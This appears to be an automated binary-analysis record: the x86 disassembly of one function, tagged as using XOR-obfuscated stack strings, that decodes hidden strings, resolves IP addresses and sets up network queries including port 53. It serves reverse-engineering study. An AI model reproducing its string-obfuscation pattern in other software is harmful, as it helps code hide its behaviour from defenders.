Function at 0x10035830
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d1e8e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1e0
mov eax, dword [0x10105230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x140], 0
call fcn.1001cc90
mov edi, eax
mov dword [ebp - 4], 0
cmp dword [0x10105e5c], 0
push 0x10105e4c
jne 0x100358a7
lea ecx, [ebp - 0x48]
call fcn.100171e0
jmp 0x1003590d
lea ecx, [ebp - 0x2c]
call fcn.100171e0
xor esi, esi
cmp dword [0x10105e5c], esi
jbe 0x100358fb
nop dword [eax]
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
mov eax, dword [0x10105e48]
cmovae ecx, dword [ebp - 0x2c]
setae byte [ebp - 0x135]
add eax, esi
xor ax, word [ecx + esi*2]
cmp byte [ebp - 0x135], 0
movzx ecx, ax
lea eax, [ebp - 0x2c]
cmovne eax, dword [ebp - 0x2c]
mov word [eax + esi*2], cx
inc esi
cmp esi, dword [0x10105e5c]
jb 0x100358c0
movups xmm0, xmmword [ebp - 0x2c]
movups xmmword [ebp - 0x48], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x38], xmm0
push edi
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x118]
call fcn.10037fe0
push ecx
lea edx, [ebp - 0x118]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
call fcn.10010210
add esp, 4
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x104]
cmp ecx, 8
jb 0x10035984
mov edx, dword [ebp - 0x118]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1003597a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369c4
push ecx
push edx
call fcn.1009517b
add esp, 8
xor eax, eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 7
mov word [ebp - 0x118], ax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x34]
cmp ecx, 8
jb 0x100359df
mov edx, dword [ebp - 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100359d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369c4
push ecx
push edx
call fcn.1009517b
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7c]
cmp ecx, 8
jb 0x10035a20
mov edx, dword [ebp - 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10035a16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369c4
push ecx
push edx
call fcn.1009517b
add esp, 8
mov cl, 0x7e
mov dword [ebp - 0x80], 0
mov dh, cl
mov dword [ebp - 0x7c], 7
mov byte [ebp - 0x135], dh
lea esi, [ebp - 0x130]
mov dh, 0x76
mov dword [ebp - 0x2c], 0x797e6e17
mov byte [ebp - 0x131], dh
mov dl, 0x79
mov dh, dl
mov dword [ebp - 0x28], 0x767e7d70
xor eax, eax
mov byte [ebp - 0x132], dh
cmp dword [ebp - 0x11c], 0x10
mov dh, 0x62
mov byte [ebp - 0x133], dh
mov ch, 0x7d
cmovae esi, dword [ebp - 0x130]
mov dh, 0x78
mov word [ebp - 0x90], ax
mov al, 0x6e
mov ah, 0x70
mov dword [ebp - 0x24], 0x786279
mov byte [ebp - 0x134], dh
mov byte [ebp - 4], 7
xor al, byte [ebp - 0x2c]
xor cl, byte [ebp - 0x2c]
mov dh, byte [ebp - 0x135]
mov byte [ebp - 0x20], al
mov al, byte [ebp - 0x131]
mov byte [ebp - 0x1f], cl
mov cl, byte [ebp - 0x2c]
xor al, cl
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x1a], al
xor ah, cl
mov al, byte [ebp - 0x132]
xor ch, cl
xor al, cl
mov byte [ebp - 0x1d], ah
mov byte [ebp - 0x19], al
xor dl, cl
mov al, byte [ebp - 0x133]
xor dh, cl
xor al, cl
mov byte [ebp - 0x1c], ch
mov byte [ebp - 0x18], al
mov al, byte [ebp - 0x134]
xor al, cl
mov byte [ebp - 0x1e], dl
mov byte [ebp - 0x17], al
mov ecx, 0x1010ef9c
push esi
lea eax, [ebp - 0x20]
mov byte [ebp - 0x1b], dh
push eax
call fcn.1002ffd0
mov byte [ebp - 4], 6
test al, al
je 0x100367d4
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
mov eax, 2
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
mov word [ebp - 0xf3], ax
mov ch, 0x7a
mov ah, 0x64
mov dword [ebp - 0x2c], 0x7d787b4a
mov dh, ah
mov dword [ebp - 0x28], 0x7a647a64
mov byte [ebp - 0x134], dh
mov al, 0x7b
xor al, byte [ebp - 0x2c]
mov cl, 0x78
xor cl, byte [ebp - 0x2c]
mov dh, ch
mov byte [ebp - 0x21], al
add esp, 0xc
mov byte [ebp - 0x133], dh
mov dl, 0x7d
mov al, byte [ebp - 0x133]
mov dh, ah
mov byte [ebp - 0x20], cl
mov cl, byte [ebp - 0x2c]
xor al, cl
mov byte [ebp - 0x132], dh
mov byte [ebp - 0x1b], al
mov dh, ch
mov al, byte [ebp - 0x132]
xor ah, cl
xor al, cl
mov byte [ebp - 0x131], dh
mov dh, byte [ebp - 0x134]
xor dl, cl
mov byte [ebp - 0x1a], al
xor ch, cl
mov al, byte [ebp - 0x131]
xor dh, cl
xor al, cl
mov byte [ebp - 0x1e], ah
mov byte [ebp - 0x19], al
lea eax, [ebp - 0x21]
push eax
mov word [ebp - 0x24], 0x7a64
mov byte [ebp - 0x22], 0
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x18], 0
call esi
mov dword [ebp - 0xd1], eax
mov ch, 0x7a
mov ah, 0x64
mov dword [ebp - 0x2c], 0x7f7f784a
mov dh, ah
mov dword [ebp - 0x28], 0x7a647a64
mov cl, 0x7f
mov byte [ebp - 0x134], dh
mov dl, cl
mov word [ebp - 0x24], 0x7a64
xor cl, byte [ebp - 0x2c]
mov dh, ch
mov byte [ebp - 0x133], dh
mov al, 0x78
xor al, byte [ebp - 0x2c]
mov dh, ah
mov byte [ebp - 0x20], cl
mov cl, byte [ebp - 0x2c]
mov byte [ebp - 0x132], dh
xor dl, cl
mov dh, ch
mov byte [ebp - 0x22], 0
xor ah, cl
mov byte [ebp - 0x131], dh
mov byte [ebp - 0x21], al
xor ch, cl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], ah
mov al, byte [ebp - 0x133]
mov dh, byte [ebp - 0x134]
xor al, cl
mov byte [ebp - 0x1b], al
xor dh, cl
mov al, byte [ebp - 0x132]
xor al, cl
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1a], al
mov al, byte [ebp - 0x131]
xor al, cl
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x19], al
lea eax, [ebp - 0x21]
push eax
mov byte [ebp - 0x18], 0
call esi
mov dword [ebp - 0xc1], eax
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.1008b000
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add esp, 8
mov dword [ebp - 0x140], eax
test eax, eax
je 0x10035d96
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100f0230]
mov esi, eax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0x747d7024
mov word [ebp - 0x48], 0x3e61
mov byte [ebp - 0x46], 0
mov byte [ebp - 4], 9
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x5b]
xor al, byte [ebp - 0x5c]
mov byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 0x15
jb 0x10035cf0
lea edx, [ebp - 0x45]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x140]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 8
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x14], 0x10
jb 0x10035d42
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035d87
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035d7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369c9
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1010e0b4]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1010f0c4]
mov dword [ebp - 0x13c], ecx
cmp eax, dword [ecx + 4]
jle 0x10035df5
push 0x1010f0c4
call fcn.10095305
add esp, 4
cmp dword [0x1010f0c4], 0xffffffff
jne 0x10035df5
mov byte [ebp - 4], 0xb
call fcn.10030130
push 0x100da480
call fcn.10095166
add esp, 4
mov byte [ebp - 4], 6
push 0x1010f0c4
call fcn.100952bb
add esp, 4
cmp byte [0x1010f364], 0
je 0x10035e40
push 0x10105ce8
call fcn.1008c050
add esp, 4
lea eax, [ebp - 0x100]
push 0x53
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0xb1], 0x80
lea eax, [ebp - 0x100]
mov byte [ebp - 0xf8], 2
push 0
push eax
call fcn.1008b000
add esp, 8
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 6
mov eax, 2
mov byte [ebp - 0xf8], 2
mov word [ebp - 0xf3], ax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xb1], 0x10
push 0
push eax
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x140], eax
test eax, eax
je 0x10035f96
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100efc00]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x4a150009
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0xd
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x10035ef0
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x140]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0xc
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x14], 0x10
jb 0x10035f42
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035f87
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369ce
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 6
mov eax, 0x17
mov byte [ebp - 0xf8], 2
mov word [ebp - 0xf3], ax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xb1], 0x10
push 0
push eax
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x140], eax
test eax, eax
je 0x100360f6
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100f0130]
mov esi, eax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0x26333a37
mov word [ebp - 0x48], 0x79
mov byte [ebp - 4], 0x10
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x5b]
xor al, byte [ebp - 0x5c]
mov byte [ebp + ecx - 0x46], al
inc ecx
cmp ecx, 0x14
jb 0x10036050
lea edx, [ebp - 0x46]
mov byte [ebp - 0x32], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x140]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0xf
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x11
cmp dword [eax + 0x14], 0x10
jb 0x100360a2
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100360e7
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100360dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369d3
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
mov ecx, dword [ebp - 0x13c]
mov eax, dword [0x1010f0c4]
cmp eax, dword [ecx + 4]
jle 0x10036146
push 0x1010f0c4
call fcn.10095305
add esp, 4
cmp dword [0x1010f0c4], 0xffffffff
jne 0x10036146
mov byte [ebp - 4], 0x12
call fcn.10030130
push 0x100da480
call fcn.10095166
add esp, 4
mov byte [ebp - 4], 6
push 0x1010f0c4
call fcn.100952bb
add esp, 4
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 0x11
cmp dword [0x1010f3d8], 2
mov eax, 2
mov word [ebp - 0xf3], ax
mov dword [ebp - 0xb1], eax
lea eax, [ebp - 0x100]
push 0
push eax
jne 0x10036408
mov byte [ebp - 0xf8], 3
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x100362a6
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100efef0]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x712e3b32
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x14
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x10036200
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x13c]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x13
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x15
cmp dword [eax + 0x14], 0x10
jb 0x10036252
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10036297
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003628d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369d8
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 0x11
mov eax, 0x17
mov byte [ebp - 0xf8], 3
mov word [ebp - 0xf3], ax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xb1], 2
push 0
push eax
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x100367cd
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100effa0]
mov esi, eax
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0x1141d10
mov word [ebp - 0x8c], 0x5e
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov al, byte [ebp + ecx - 0x9f]
xor al, byte [ebp - 0xa0]
mov byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 0x14
jb 0x10036360
lea edx, [ebp - 0x8a]
mov byte [ebp - 0x76], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x13c]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x16
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x90]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x14], 0x10
jb 0x100363c1
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x100367c2
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100367b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369dd
jmp 0x100367b8
mov byte [ebp - 0xf8], 2
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x10036526
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100f01c0]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x247b6e67
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x1a
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x10036480
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x13c]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x19
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x1b
cmp dword [eax + 0x14], 0x10
jb 0x100364d2
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10036517
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003650d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369e2
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 0x11
mov eax, 2
mov byte [ebp - 0xf8], 1
mov word [ebp - 0xf3], ax
push 0x35
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xf5], ax
lea eax, [ebp - 0x100]
push 0
push eax
mov dword [ebp - 0xb1], 2
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x1003668a
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100effe0]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x6594c45
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x100365e4
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x13c]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x1c
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x1e
cmp dword [eax + 0x14], 0x10
jb 0x10036636
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1003667b
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10036671
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369e7
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 6
call fcn.10004400
push 0x53
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.10097780
add esp, 0xc
mov dword [ebp - 0x100], 0x11
mov eax, 0x17
mov byte [ebp - 0xf8], 2
mov word [ebp - 0xf3], ax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xb1], 2
push 0
push eax
call fcn.1008b000
add esp, 8
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x100367cd
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100f0170]
mov esi, eax
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0x2d38313c
mov word [ebp - 0x8c], 0x72
mov byte [ebp - 4], 0x20
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x9f]
xor al, byte [ebp - 0xa0]
mov byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 0x14
jb 0x10036750
lea edx, [ebp - 0x8a]
mov byte [ebp - 0x76], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x13c]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x1f
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x90]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 0x10
jb 0x100363c1
jmp 0x100363bf
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
call fcn.10004400
xor esi, esi
jmp 0x1003696e
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1e0]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eff20]
mov esi, eax
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x98], 0x13415c41
mov dword [ebp - 0x94], 0x56434a47
mov word [ebp - 0x90], 9
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov al, byte [ebp + ecx - 0xa7]
xor al, byte [ebp - 0xa8]
mov byte [ebp + ecx - 0x8e], al
inc ecx
cmp ecx, 0x18
jb 0x10036843
lea edx, [ebp - 0x8e]
mov byte [ebp - 0x76], 0
mov ecx, esi
call fcn.10006770
mov esi, eax
call fcn.1008c6e0
cmp eax, 2
jne 0x100368b3
mov ah, 0x65
mov dword [ebp - 0x68], 0x15031265
mov cl, 0x12
mov byte [ebp - 0x64], 0
mov dl, 3
mov al, 0x15
mov byte [ebp - 4], 0x24
xor dl, ah
xor cl, ah
mov byte [ebp - 0x62], dl
xor al, ah
mov dword [ebp - 0x140], 0x61
mov byte [ebp - 0x63], cl
lea edx, [ebp - 0x63]
mov byte [ebp - 0x61], al
mov byte [ebp - 0x60], 0
jmp 0x100368ed
mov ah, 0x19
mov dword [ebp - 0x74], 0x707d6d19
mov al, 0x6d
mov byte [ebp - 0x70], 0
mov cl, 0x7d
mov dl, 0x70
mov dword [ebp - 4], 0x25
xor al, ah
xor cl, ah
mov dword [ebp - 0x140], 0x62
xor dl, ah
mov byte [ebp - 0x6f], al
mov byte [ebp - 0x6d], dl
lea edx, [ebp - 0x6f]
mov byte [ebp - 0x6e], cl
mov byte [ebp - 0x6c], 0
mov ecx, esi
call fcn.10006770
mov dword [ebp - 4], 0x22
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x48]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x26
cmp dword [eax + 0x14], 0x10
jb 0x1003691d
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1003695e
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10036954
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369dd
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x1f0]
call fcn.10004400
mov esi, 0x2842
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x100369a4
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003699a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100369dd
push ecx
push edx
call fcn.1009517b
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10094e23
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
int3